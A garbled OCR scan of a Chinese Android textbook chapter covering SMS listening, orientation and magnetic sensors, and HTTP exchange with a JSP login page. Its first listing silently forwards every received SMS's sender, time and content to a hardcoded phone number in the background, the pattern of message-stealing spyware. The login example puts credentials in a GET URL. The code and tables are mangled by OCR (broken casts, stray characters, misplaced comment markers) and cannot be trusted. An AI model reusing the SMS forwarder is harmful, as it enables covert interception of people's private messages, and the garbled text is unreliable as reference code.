import android.content. Intent; 

import android.telephony.SmsManager; 

import android.telephony.SmsMessage; 

public class SMSBroadcastReceiver extends BroadcastReceiver { /广播 处 理 


@Override 


public void onReceive(Context context, Intent intent) { 


Object[] pdusData = (Object]) intent.getExtras().get("pdus"); ”// 取 得 所 有 短信 内 容 
for (int x = 0; x < pdusData.length; x++) { // 循 环 取出 每 一 个 数据 
byte [] pdus = (byte0) pdusData[x] ; // 取 出 短信 的 内 容 
SmsMessage msg = SmsMessage.createFromPdu(pdus) ; // 还 原 短信 数据 
String messageBody = msg.getMessageBody() ; // 取 得 短信 内 容 


String phoneNumber = msg.getOriginatingAddress() ; /取得 接收 地 址 
String receiveDate = new SimpleDateFormat( 

"yyyy-MM-dd hh:mm:ss.SSS").format(new Date(msg 

.getTimestampMillis())); /| 短信 的 接收 时 间 
SmsManager smsManager = SmsManager.getDefault();，// 短 信 管理 类 
Pendinglntent sentlntent = Pendinglntent.getActivity(context, 0, 

intent, PendinglntentFLAG_UPDATE_CURRENT); /取得 Pendinglntent 
String content = "短信 号 码 : " 

+ phoneNumber 

+ "\n 发送 时 间 : ” 


+ receiveDate 
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+ "mn 短信 内 容 : 〈” 

+ messageBody 

De /短信 内 容 
smsManager.sendTextMessage("13683527621", null, content, 

sentlntent, null); /发 送 文字 信息 


} 
上 


} 

本 程序 首先 通过 Intent 取得 pdus 的 发 送信 息 ， 然 后 将 接收 到 的 每 一 个 短信 的 数据 通过 
SmsMessage 类 进行 转换 ， 并 取出 短信 的 内 容 、 发 送 号 码 、 发 送 时 间 ， 最 后 使 用 SmsManager 类 
将 此 内 容 发 送 到 一 个 指定 的 手机 上 。 

【 例 11-26】 配置 AndroidManifest.xml 文件 ， 增 加 权限 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http:/schemas.android.com/apk/res/android" 


package="org./xh.demo” // 程 序 包 名 称 
android:versionCode="1" // 程 序 的 版 本 号 
android:versionName="1.0"> // 显 示 给 用 户 的 版 本 信息 
<uses-sdk android:minSdkVersion="10" /> // 程 序 运 行 的 最 低级 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon" android:label="@string/app_name”> 
<receiver // 配 置 广播 接收 器 
android:name=". SMSBroadcastReceiver"> 
<intent-filter> // 收 到 短信 时 启动 


<action android:name="android.provider. Telephony. SMS_RECEIVED" /> 
</intent-filter> 


</receiver> 
</application> 
<uses-permission /发 送 短信 权限 
android:name="android.permission.SEND_SMS"/> 
<uses-permission // 接 收 短信 权限 
android:name="android.permission.RECEIVE_SMS"/> 
</manifest> 
本 程序 运行 之 后 ， 将 自动 运行 在 程序 的 后 台 ， 但 本 程序 只 能 监听 接收 到 的 短信 。 


11.5 传 感 器 


在 Android 手机 中 ， 为 了 方便 开发 者 的 开发 提供 了 大 量 的 设备 工具 ， 如 MediaRecorder、 
Camera 等 都 属于 Android 系统 默认 支持 的 系统 工具 ， 其 中 还 有 一 个 传感器 工具 可 供用 户 使 用 。 

传感器 一 般 多 见于 游戏 的 开发 中 ， 例 如 ， 用 户 可 以 自己 开发 一 个 保龄球 游戏 ， 使 用 手机 模 
拟 发 球 过 程 时 就 需要 传感器 的 支持 ， 而 在 Android 系统 中 为 了 用 户 开发 方便 ， 提 供 了 大 量 的 传 感 
器 支持 ， 要 想 取得 这 些 传感器 的 使 用 ， 则 必须 依靠 getSystemService() 方 法 完成 ， 通 过 查找 指定 的 
服务 名 称 ContextSENSOR_ SERVICE 取得 传感器 服务 之 后 ， 实 际 上 返回 的 只 是 一 个 
android.hardware. SensorManager 类 的 对 象 ， 此 类 的 常量 及 常用 方法 如 表 11-6 所 示 。 
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表 11-6 SensorManager 类 的 常量 及 常用 方法 
No. 常量 与 方法 描述 
1 适合 游戏 的 传感器 


ublic boolean registerListener(SensorEventListener i 
nD . 注册 传感器 监听 器 


listener, Sensor sensor, int rate) 
于 public Sensor getDefaultSensor(int type) 


在 表 11-6 所 列 出 的 getDefaultSensort0 方 法 中 需要 一 个 传感器 类 型 的 数值 ， 而 该 数值 是 
android.hardware.Sensor 类 中 定义 的 常量 来 决定 的 , Android 中 支持 的 传感器 类 型 如 表 11-7 所 示 。 
表 11-7 Android 中 支持 的 传感器 类 型 

传感器 类 型 描述 


取得 指定 类 型 传感器 对 象 


android.hardware.Sensor.TYPE ORIENTATION 方位 传感器 
android.hardware.Sensor.TYPE MAGNETIC FIELD 磁场 传感器 
android.hardware.Sensor.TYPE ACCELEROMETER 加 速 传感器 
android.hardware.Sensor.TYPE GRAVITY 重力 传感器 
螺旋 仪 传感器 
亮度 传感器 
直线 加 速 传感器 
讨 力 感应 传 感 
接近 传感器 
温度 传感器 
矢量 旋转 传感器 
使 用 全 功能 传感器 


每 种 传感器 都 有 其 自己 的 使 用 范畴 ， 用 户 可 以 根据 自己 的 开发 要 求 自由 选择 ， 而 在 本 书 中 
主要 为 读者 讲解 两 种 传感器 一 一 方位 传感器 (Sensor.TYPE ORIENTATION ) 与 磁场 传感器 (Sensor. 
TYPE MAGNETIC _ FIELD) 。 

实际 上 对 于 传感器 的 操作 主要 就 在 操作 的 监听 上 , 而 如 果 要 监听 , 则 必须 依靠 android.hardware. 
SensorEventListener 接口 完成 ， 此 接口 定义 如 下 : 

public interface SensorEventListener { 

pe 
* 传感器 精度 改变 时 调用 
* @param sensor 传感器 对 象 
* @param accuracy 新 的 传感器 精度 
public abstract void onAccuracyChanged(Sensor sensor, int accuracy) ; 
Ai 
* 传感器 数值 改变 时 调用 
* @param event 传感器 操作 事件 
public abstract void onSensorChanged(SensorEvent event) ; 


} 
掌握 了 这 些 基本 概念 之 后 ， 下 面 来 观察 如 何 进行 传感器 的 开发 。 
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11.5.1 方位 传感器 一 一 移动 小 球 


方位 传感器 是 指 可 以 自动 根据 用 户 手机 所 处 的 角度 来 进行 感应 监控 ， 控 制 的 角度 如 图 11-7 
所 示 。 


z 轴 


图 11-7 取得 传感器 方向 


Android 在 进行 方位 传感器 操作 时 使 用 的 单位 是 角度 ， 当 用 户 通 过 SensorEventListener 接口 
对 此 传 感 操作 进行 监听 时 ， 每 当 方 位 角度 发 生 改 变 都 会 触发 onSensorChanged() 方 法 ， 而 在 此 方 
法 上 会 接收 一 个 SensorEvent 事件 类 的 对 象 ,通过 此 对 象 的 values() 方 法 (public final float[] values) 
可 以 返回 所 有 接收 到 的 方位 数据 。values() 方 法 返回 的 数组 对 象 中 包含 3 个 数据 。 

values[0]: 方位 角度 ， 按 乙 轴 旋转 和 立轴 所 夹 的 角度 。 

values[1]: 投球 角度 ， 按 义 轴 旋转 和 ZZ 轴 所 夹 的 角度 。 

values[2]: 深 动 角度 ， 按 Y 轴 旋 转 和 Z 轴 所 夹 的 角度 。 

【 例 11-27】 定义 一 个 可 以 用 于 传感器 操作 的 视图 组 件 

package org.Ixh.util; 

import org.Ixh.demo.R; 

import android.content.Context; 

import android.graphics.Bitmap; 

import android.graphics.BitmapFactory; 

import android.graphics.Canvas; 

import android.graphics.Color; 

import android.graphics.Paint; 

import android.graphics.Point; 

import android.hardware.Sensor; 

import android.hardware.SensorEvent; 

import android.hardware.SensorEventListener; 

import android.hardware.SensorManager; 

import android.util.AttributeSet; 
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import android.view.View; 
public class BallView extends View implements SensorEventListener { 


private Bitmap ball = null; l/lBitmap 
private Point point = new Point(0, 0); /保存 点 
private float[] allValue; /传感器 数据 
private int xSpeed = 0; 11X 轴 
private int ySpeed = 0; IN 轴 
public BallView(Context context, AttributeSet attrs) { 

super(context, attrs); 

this.setBackgroundColor(Color.WHITE); 1/ 设 置 底 色 

ball = BitmapFactory.decodeResource(this.getResources(), 

R.drawable.ball); // 取 得 图 片 


SensorManager manager = (SensorManager) context 
.getSystemService(Context.SENSOR_SERVICE);”// 取 得 传感器 

manager.registerListener(this, 
manager.getDefaultSensor(Sensor.TYPE_ORIENTATION)，”// 方 位 传感器 


SensorManager.SENSOR_DELAY_GAME); // 使 用 游戏 专用 传感器 
} 
@Override 
public void onDraw(Canvas canvas) { 
Paint p = new Paint(); // 根 据 传 感 值 改变 球速 度 
if (allValue != null) { // 已 经 取得 传感器 数值 
xSpeed = (int) -allValue[2]; // 计 算 X 轴 速 度 
ySpeed = (int) -allValue[1]; /计算 Y 轴 速 度 
} 
point.x += xSpeed; /1X 坐标 点 
point.y += ySpeed; /Y 坐标 点 
if (point.x < 0){ 
point.x = 0; /1/ 设 置 X 轴 坐 标 
1 
if (point.y < 0){ 
point.y = 0; // 设 置 Y 轴 坐 标 
1 
if (point.x > super.getWidth() - ball.getWidth()) { 
point.x = super.getWidth() - ball.getWidth(); // 设 置 X 轴 边 界 
ki 
if (point.y > Super.getHeight() - ball.getHeight()) { 
point.y = super.getHeight() - ball.getHeight(); // 设 置 Y 轴 边 界 
和 
canvas.drawBitmap(ball, point.x, point.y, p); // 重 新 绘制 图 形 
} 
public void onAccuracyChanged(Sensor sensor, int accuracy) { 
} 


public void onSensorChanged(SensorEvent event) { 
if (event.sensor.getType() == Sensor.TYPE_ORIENTATION/) {// 判 断 传 感 方 式 为 方位 传 感 
float[] value = event.values; // 取 得 3 个 轴 的 值 
allValue = value; /保存 值 并 重 绘 
/postlnvalidate() 方 法 主要 用 于 非 UI ( 主 ) 线程 的 刷新 操作 
/linvalidate() 主 要 用 于 UI ( 主 ) 线程 刷新 
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此 接 
方法 


Super.postlinvalidate(); // 刷 新 界面 调用 onDraw() 
} 
} 


} 

本 程序 是 一 个 自 定义 的 View 类 , 但 是 在 本 类 定义 时 多 实现 了 一 个 SensorEventListener 接口 ,而 
主要 是 针对 于 用 户 传感器 的 状态 进行 监听 , 当 用 户 改变 传感器 方向 时 ,会 触发 onSensorChanged() 
， 而 后 通过 SensorEvent 类 的 values 属性 取得 又 轴 、 立 轴 、Z 轴 的 数据 。 这 一 程序 编写 完 后 ， 


就 可 以 按照 文本 组 件 那样 直接 配置 到 布局 文件 中 。 


而 程 


11. 


发 ， 


【 例 11-28】 定义 布局 管理 器 ， 增 加 自 定 义 组 件 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<org.lxh.util.BallView // 自 定义 View 组 件 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” /> // 组 件 高 度 为 屏幕 高 度 


</LinearLayout> 
【 例 11-29】 定义 Activity 程序 ， 读 取 布 局 文件 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
public class MySensorDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 读 取 布 局 文件 
1 
} 
在 Activity 程序 中 并 没有 做 过 多 的 复杂 操作 , 只 是 读 取 布局 管理 器 文件 , 以 显示 自 定义 组 件 ， 
序 的 运行 效果 也 只 能 在 真 机 上 执行 。 如 图 11-8 所 示 为 该 程序 在 手机 上 运行 的 界面 截图 。 


图 11-8 方位 传感器 


5.2 ”磁场 传感器 一 一 指 北 针 

在 Android 系统 中 利用 磁场 传感器 可 以 检测 磁场 的 强 弱 ， 以 及 进行 指 北 针 或 罗盘 功能 的 开 
在 此 传感器 操作 时 ， 同 样 是 读 取 了 3 个 坐标 系数 值 ， 其 作用 如 下 。 

回 SensorEventvalues[0]: X 轴 磁 场 值 。 
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SensorEvent.values[1]: Y 轴 磁 场 值 。 
回 SensorEvent values[2]: Z 轴 磁 场 值 。 
下 面 直接 通过 代码 来 完成 磁场 传感器 的 开发 ， 本 程序 将 开发 一 个 指 北 针 的 应 用 。 
【 例 11-30】 定义 自 定义 视图 组 件 , 用 于 根据 磁场 方向 来 改变 指针 显示 一 一 ArowView (分 
段 列 出 ) 
package org.Ixh.util; 
import org.lxh.demo.R; 
import android.content.Context; 
import android.graphics.Bitmap; 
import android.graphics.BitmapFactory; 
import android.graphics.Canvas; 
import android.graphics.Color; 
import android.graphics.Paint; 
import android.hardware.Sensor; 
import android.hardware.SensorEvent'; 
import android.hardware.SensorEventListener; 
import android.hardware.SensorManager; 
import android.util.AttributeSet'; 
import android.view.View; 
public class ArrowView extends View implements SensorEventListener { 
private Bitmap comp = null; /Bitmap 绘图 
private float[] allValue; /传感器 数值 
public ArrowView(Context context, AttributeSet attrs) { 
Super(context, attrs); 
this.setBackgroundColor(Color WHITE); // 底 色 为 白色 
comp = BitmapFactory.decodeResource(this.getResources()， 
R.drawable.arrow); // 取 得 资源 图 片 
SensorManager manager = (SensorManager) context 
.getSystemService(Context.SENSOR_SERVICE);”// 取 得 传感器 服务 
manager.registerListener(this, 
manager.getDefaultSensor( 
Sensor.TYPE_MAGNETIC_FIELD)， // 磁 场 传感器 
SensorManager.SENSOR_DELAY_GAMBE); /| 适合 于 游戏 更 新 速率 


} 
本 程序 依然 采用 自 定义 View 的 操作 形式 ， 直 接 利 用 SensorEventListener 接口 进行 传感器 的 
数值 接收 ， 而 后 在 构造 方法 中 首先 使 用 getSystemService() 方 法 取得 传感器 服务 对 象 ， 最 后 通过 
SensorManager 类 注册 一 个 磁场 传感器 。 


@Override 
public void onDraw(Canvas canvas) { // 根 据 传 感 值 改变 图 片 的 方向 
Paint p = new Paint(); // 绘 图 对 象 
if (allValue != null) { // 取 得 X 轴 的 坐标 
float x = allValue[0]; // 取 得 Y 轴 的 坐标 
float y = allValue[1]; 
canvas.restore(); // 重 置 绘 图 对 象 


/设置 以 屏幕 中 心 点 作为 旋转 中 心 
canvas.translate(getWidth() / 2, getHeight() / 2); 

1/ 判断 y 值 为 0 时 旋转 的 角度 (为 0 时 下 面 会 出 现 除 算术 ) 
if (y== 0 &&x>0){ 
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canvas .rotate(90); // 旋 转角 度 为 90 
}else if(y==0&&x<0){ 

canvas.rotate(270); /1/ 旋 转角 度 为 270° 
}else{ 

/根据 x 和 y 的 值 计算 旋转 角度 ， 可 以 使 用 三 角 函 数 的 tan() 值 来 计算 

if (y >= 0){ 

canvas.rotate((float) Math.tanh(x / y)* 90); 
}else{ 


canvas.rotate(180 + (float) Math.tanh(x / y) * 90); 
b 
} 


} 
canvas.drawBitmap(comp, -comp.getWidth() / 2, -comp.getHeight() / 2, p);// 绘 制 


} 
本 方法 在 用 户 使 用 postInvalidate() 方 法 了 
图 片 按照 指定 的 角度 计算 后 进行 旋转 。 
public void onAccuracyChanged(Sensor sensor, int accuracy) { 


} 


public void onSensorChanged(SensorEvent event) { 
if (event.sensor.getType() == Sensor.TYPE_MAGNETIC_FIELD) { /为 磁场 传 感 


折 绘 制图 像 时 自动 调用 ,主要 功能 是 将 一 张 指 北 的 


float[l value = event.values; // 取 得 3 个 轴 的 值 
allValue = value; /保存 值 
postlnvalidate(); // 重 绘 


} 
1 
onAccuracyChanged() 和 onSensorChanged() 方 法 是 SensorEventListener 接口 中 提供 的 传感器 
监听 方法 ， 当 检测 到 磁场 传感器 的 变化 之 后 ， 就 直接 利用 values 属性 取得 变化 的 值 ， 并 调用 
postInvalidate() 方 法 进行 重 绘 操 作 。 
【 例 11-31】 定义 布局 管理 器 ， 使 用 自 定义 的 视图 组 件 一 一 main.xml 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<org.lxh.util.ArrowView // 自 定义 组 件 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill parent" /> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


【 例 11-32】 定义 Activity 程序 ， 读 取 布 局 管理 器 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

public class MySensorDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 
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super.setContentView(R.layout.main); // 读 取 布 局 文件 
} 
} 
当 程序 运行 完成 后 ， 直 接 将 项 目 部 署 到 真 机 上 即 可 对 磁场 进行 监听 ， 程 序 的 运行 效果 通过 
真 机 运行 效果 采集 ， 如 图 11-9 所 示 。 


图 11-9 显示 的 指针 罗盘 


11.6 本 章 小 结 


(1) 手机 电池 的 电量 信息 可 以 通过 使 用 Intent.ACTION_BATTERY_CHANGED 取得 。 

(2) AudioManager 是 一 个 手机 的 系统 服务 ， 使 用 此 服务 可 以 实现 音量 的 调整 ， 以 及 静音 、 
震动 等 模式 的 切换 。 

(3) 在 Android 中 可 以 使 用 TelephonyManager 类 对 电话 状态 进行 管理 ， 而 电话 状态 也 可 以 
通过 PhoneStateListener 监听 类 完成 监听 操作 。 

(4) 使 用 SmsManager 可 以 实现 对 短信 的 监听 操作 ， 也 可 以 判断 短信 的 收发 状态 。 

(5) Android 手机 中 提供 了 众多 的 传感器 ， 用 户 只 需要 实现 SensorEventListener 接口 即 可 
实现 对 手机 传感器 状态 的 监听 。 


S92 


第 12 章 网 络 通 信 


通过 本 章 的 学 习 可 以 达到 以 下 目标 : 

掌握 Android 与 Socket 程序 间 的 交互 操作 。 

掌握 Android 与 Java Web 程序 间 的 交互 操作 。 

了 解 Android 与 Web Service 程序 的 交互 操作 及 实现 。 

掌握 WebView 组 件 的 使 用 。 

移动 平台 中 最 重要 的 一 个 组 成 部 分 就 是 进行 网 络 的 交互 操作 ， 用 户 可 以 通过 移动 设备 定期 
地 与 服务 器 进行 交互 ， 以 取得 最 新 的 数据 。 在 Android 中 为 用 户 提供 了 丰富 的 互联 网 操作 功能 ， 
本 书 曾 在 第 8 章 介绍 了 Android 中 数据 存储 的 4 种 方式 , 本 章 要 介绍 的 与 网 络 程序 的 交互 实际 上 
也 就 是 第 5 种 存储 模式 一 一 网 络 存储 。 在 进行 网 络 数据 交换 时 ， 常 用 的 方式 有 如 下 两 种 ， 

直接 与 Web 容器 交换 数据 ， 如 图 12-1 所 示 。 

利用 Socket 完成 数据 交换 ， 如 图 12-2 所 示 。 


i HTTP a 
cr 一 > 
一 毛 -一 
手机 手机 


Web Container ServerSocket 


图 12-2 利用 Socket 交换 
除了 这 些 基 本 的 网 络 数据 交换 之 外 , 本 章 还 将 讲解 一 个 网 页 的 显示 组 件 
通过 此 组 件 可 以 采用 HIML 作为 显示 的 界面 。 


图 12-1 使 用 Web 服务 器 交换 


WebView 组 件 ， 


12.1 与 Web 服务 器 交换 数据 
12.1.1 通过 地 址 重 写 访问 动态 Web 


若 要 使 用 Web 服务 器 进行 数据 交换 ， 则 可 以 直接 采用 Uri 重 写 的 方式 ， 将 所 有 输入 的 数据 
以 GET 请 求 的 方式 发 送 给 Web 服务 器 端的 动态 页 进行 处 理 , 而 动态 页 也 可 以 将 一 些 基本 的 数据 
返回 给 手机 端 。 


4 提示 
本 次 使 用 JSP 程序 进行 数据 交换 。 
本 程序 中 的 动态 页 面 采用 的 是 JSP 技术 ， 而 使 用 的 Web 服务 器 是 Tomcat， 如 果 对 此 不 
熟悉 ， 可 以 参考 《名 师 讲 坛 一 Java Web 开发 实战 经 典 》 一 书 。 


另外 ， 考虑 到 篇 幅 的 问题 ， 本 书 所 讲解 的 操作 只 是 以 JSP 文 件 的 形式 进行 ， 而 不 是 以 标 
准 的 MVC 设计 模式 进行 服务 器 端 程 序 的 开发 。 
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【 例 12-1】 定义 androidjsp 程序 ， 此 程序 保存 在 mldn 虚拟 目录 下 
<% ”// 接 收发 送 来 的 请 求 参 数 
String id = request.getParameter("id") ; 
String password = request.getParameter("password") ; 


%> 
<% 
if("lixinghua".equals(id) && "mldn".equals(password)) { 
%> 
true 
<% 
}else{ 
%> 
false 
<% 
} 
%> 


在 androidjsp 文件 中 ， 使 用 request 内 置 对 象 接收 请 求 的 参数 ， 随 后 对 传递 过 来 的 请 求 参 数 
进行 判断 ， 如 果 ID 是 lixinghua，password 是 mldn， 则 表示 登录 成 功 ， 输 出 true; 反之 ， 则 输出 
false。 

将 androidjsp 文件 保存 到 指定 的 虚拟 目录 中 ， 并 且 使 用 Tomcat 进行 项 目的 发 布 ， 服 务 器 端 
开发 完成 之 后 ， 下 面 就 要 使 用 Android 进行 网 络 的 连接 ， 而 如 果 现 在 要 想 访问 Web 服务 器 上 的 
程序 资源 ， 还 需要 使 用 java.net.URL 和 java.net.HttpURLConnection 类 完成 。 


守 / 提 示 


关于 java.net.URL 类 和 java.net.HttpURLConnection 类 。 

URL 和 HttpURLConnection 类 主要 用 于 网 络 的 连接 ， 在 使 用 时 ， 首 先 通过 URL 指定 一 个 要 
连接 的 网 络 地 址 (或 全), 而 后 通过 URL 类 的 openConnection() 取 得 一 个 java.net.URLConnection 
类 的 对 象 ， 而 HttpURLConnection 正 是 URLConnection 的 子 类 ， 对 于 这 部 分 操作 不 熟悉 的 读 
者 ， 可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 第 19 章 中 的 内 容 。 


下 面 为 了 演示 方便 , 将 直接 在 Activity 类 的 onCreate() 方 法 中 进行 Web 程序 的 连接 ， 并且 将 
连接 的 情况 显示 在 文本 显示 组 件 中 。 
【 例 12-2】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/info” // 组 件 ID 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


在 本 布局 管理 器 中 主要 定义 了 一 个 文本 显示 组 件 ， 通 过 此 组 件 可 以 告诉 用 户 操作 的 状态 。 
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【 例 12-3】 定义 Activity 程序 

package org.Ixh.demo; 

import java.net.HttpURLConnection; 

import java.net.URL; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget. TextView; 

public class MyWebDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
TextView info = (TextView) super findViewByld(R.id.info); // 取 得 文本 组 件 
boolean flag = false; // 判 断 标记 

try{ 


URL url = new URL("http", "Www.mldnjava.cn", 80, 
"/mldn/android.jsp?id=|lixinghua&password=mldn"); // 连 接地 址 
HttpURLConnection conn = (HttpURLConnection) url.openConnection(); 


byte [] data = new byte[512] ; /| 开辟 空间 
int len = conn.getlnputStream().read(data) ; /接收 数据 
if(len > OX{ 
String temp = new String(data,0,len).trim() ; 
flag = Boolean.parseBoolean(temp); /数据 转型 
1 
conn.getlnputStream().close() ; // 关 闭 输入 流 
} catch (Exception e){ 
e.printStackTrace() ; 
info.setText("Web 服务 器 连接 失败 。") ; 
} 
if (flag) { // 淹 断 返回 数据 
info.setText(" 用 户 登录 成 功 !") ; 1/ 设置 文本 
}else{ 
info.setText(" 用 户 登 录 失 败 ! ") ; /设置 文本 
) 


1 
} 
【 例 12-4】 在 AndroidManifest.xml 文件 中 配置 权限 

<uses-permission android:name="android.permission.INTERNET" /> 

本 程序 首先 使 用 一 个 URL 指定 要 操作 的 URI, 随 后 利用 URL 对 象 ,打开 一 个 HttpURLConnection 
对 象 ， 之 后 利用 返回 的 InputStream 接收 所 有 的 数据 ， 并 将 数据 变 为 boolean 型 ， 如 果 用 户 传 入 的 
ID 和 password 与 服务 器 上 判断 的 一 致 ， 则 返回 tue; 和 否则， 返回 false。 程 序 的 运行 效果 如 图 12-3 
所 示 。 


午 , 注 总 


JP 地 址 为 公 网 IP。 

在 进行 程序 开发 时 一 定 要 记 住 ， 本 次 所 连接 的 卫 地 址 是 指 在 公 网 上 的 地 址 ， 而 不 是 内 部 
局 域 网 的 地 址 ， 本 程序 是 放 在 了 域名 为 www.mldnjava.cn 的 网 址 上 , 读者 在 使 用 时 可 以 替换 为 
卫 地 址 。 
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图 12-3 ”接收 动态 页 的 返回 数据 


12.1.2 使 用 POST 提交 访问 动态 Web 


12.1.1 节 的 程序 是 采用 地 址 重 写 方式 与 Web 服务 器 进行 连接 的 ， 而 且 所 有 的 操作 都 是 采用 
地 址 重 写 的 形式 进行 的 ， 所 以 在 传递 参数 较 多 时 ， 地 址 的 编写 难度 也 就 有 所 提高 ， 因 此 这 种 数 
据 的 交换 并 不 能 满足 实际 开发 的 需要 。 而 在 Android 系统 中 , 也 可 以 采用 像 表 单 提交 那样 的 POST 
或 GET 方式 提交 要 发 送 给 Web 服务 器 的 信息 。 

由 于 Web 连接 采用 的 是 HTTP 操作 协议 进行 的 ， 所 以 用 户 要 想 发 送 请 求 (POST、GET) ， 
则 可 以 使 用 org.apache.http.client.methods.HttpPost 或 org.apache.http.client.methods.HttpGet 类 进行 。 
在 发 送 请 求 时 ，POST 方式 使 用 较 多 ， 所 以 下 面 首先 来 看 org.apache .http.client.methods. HttpPost 类 
的 继承 结构 ， 如 下 所 示 : 

java.lang.Object 


b org.apache.http.message.AbstractHttpMessage 
b org.apache.http.client.methods.HttpRequestBase 
b org.apache.http.client.methods.HttpEntityEnclosingRequestBase 


b org.apache.http.client.methods.HttpPost 
org.apache .http.client methods.HttpPost 类 的 常用 方法 如 表 12-1 所 示 。 


表 12-1 HttpPost 类 的 常用 方法 


描述 
传 入 一 个 指定 的 Uni 
传 入 一 个 指定 的 Uri 
返回 HTTP 的 操作 状态 ， 如 post、get 等 


方 ” 法 
public HttpPost(URI ur?) 

public HttpPost(String urD 
public String getMethodO 


当 用 户 成 功 地 向 Web Server 端 发 送 请 求 之 后 , 所 有 返回 的 数据 将 使 用 org.apache http.HttpResponse 
接口 保存 ，HttpResponse 接口 的 常用 方法 如 表 12-2 所 示 。 
表 12-2 HttpResponse 接口 的 常用 方法 
No. 方 ” 法 
public abstract void setEntity(HttpEntity entity) 


1 

2 public abstract HttpEntity getEntityO) 

3 public abstract void setLocale(Locale loc) 
4 

5 


描述 
设置 一 个 请 求 的 实体 对 象 
返回 一 个 请 求 的 实体 对 象 
设置 一 个 Locale 对 象 
获得 请 求 的 状态 
获得 所 有 返回 信息 


public abstract StatusLine getStatusLine() 
public abstract HttpEntity getEntityO) 
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当 用 户 使 用 HttpResponse 的 getEntity0 方 法 接收 所 有 返回 数据 之 后 ,可 以 使 用 EntityUtils 类 
进行 处 理 ， 而 且 由 于 HttpResponse 是 一 个 接口 ， 所 以 要 想 实 例 化 此 接口 的 对 象 ， 就 要 使 用 org. 


apache.http.impl.client.DefaultHttpClient 类 完成 ， 此 类 的 常用 方法 如 表 12-3 所 示 。 
表 12-3 DefaultHttpClient 类 的 常用 方法 


| 一 一 一 一 一 一 一 一 一 一 描述 
创建 DefaultHttpClient 的 实例 化 对 象 


| public DefaultHttpClientO | DefaultHttpClientO) 


| 构造 | 


ible # abstract HttpResponse execute 尘 炒 扳 后 i 
既然 可 以 进行 请 求 的 发 送 和 传递 ， 那 么 下 面 所 需要 处 理 的 就 是 所 有 传递 参数 的 问题 。 由 于 在 
Web Services 上 所 提供 的 方法 需要 参数 的 传递 ， 所 以 所 有 的 参数 都 要 使 用 org.apache.http.message. 
-常用 方 


BasicNameValuePair 类 进行 封装 ， 该 类 是 org.apache.http NameValuePair 接口 的 子 类 ， 其 常用 方 


法 如 表 12-4 所 示 。 
表 12-4 BasicNameValuePair 类 的 常用 方法 


No 


public BasicNameValuePair(String name, 构造 指定 要 传 入 的 参数 名 称 和 内 容 


String value) 
2 取得 参数 名 称 
3 取得 参数 内 容 
除了 处 理 好 参数 之 外 ， 还 需要 处 理 请 求 时 所 需要 的 编码 。 通 用 的 编码 为 UTF-8， 要 想 指定 
此 编码 ， 则 必须 使 用 org.apache http.cliententity.UrlEncodedFormEntity 类 完成 ， 此 类 的 继承 结构 


描述 


如 下 : 


java.lang.Object 


b org.apache.http.entity.AbstractHttpEntity 


b org.apache.http.entity.StringEntity 


b org.apache.http.client.entity.UrlEncodedFormEntity 
UrlEncodedFormEntity 用 于 指定 编码 的 方法 如 表 12-5 所 示 。 
表 12-5 UrlEncodedFormEntity 类 用 于 指定 编码 的 方法 


方法 名 称 
1 public UrlEncodedFormEntity(List<? extends 
NameValuePair> parameters, String encoding) 
了 解 了 以 上 类 的 功能 之 后 ， 下 面 将 使 用 12.1.1 节 定 义 的 ee 进行 数据 的 处 理 ， 只 是 
在 Activity 程序 中 将 采用 新 的 形式 完成 与 Web 服务 器 的 数据 交 
【 例 12-5】 修改 Activity 程序 ， 采 用 POST 提交 方式 


package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.List; 


No. 
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import org.apache.http.HttpResponse; 

import org.apache.http.NameValuePair; 

import org.apache.http.client.entity.UrIEncodedFormEntity; 

import org.apache.http.client.methods. HttpPost; 

import org.apache.http.impl.client.DefaultHttpClient; 

import org.apache.http.message.BasicNameValuePair; 

import org.apache.http.protocol.HTTP:; 

import org.apache.http.util.EntityUtils; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.TextView; 

public class MyWebDemo extends Activity { 
private static final String URL = "http://www.mldnjava.cn/mldn/android.jsp" ; 
private TextView info = null ; /文本 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 布局 管理 器 
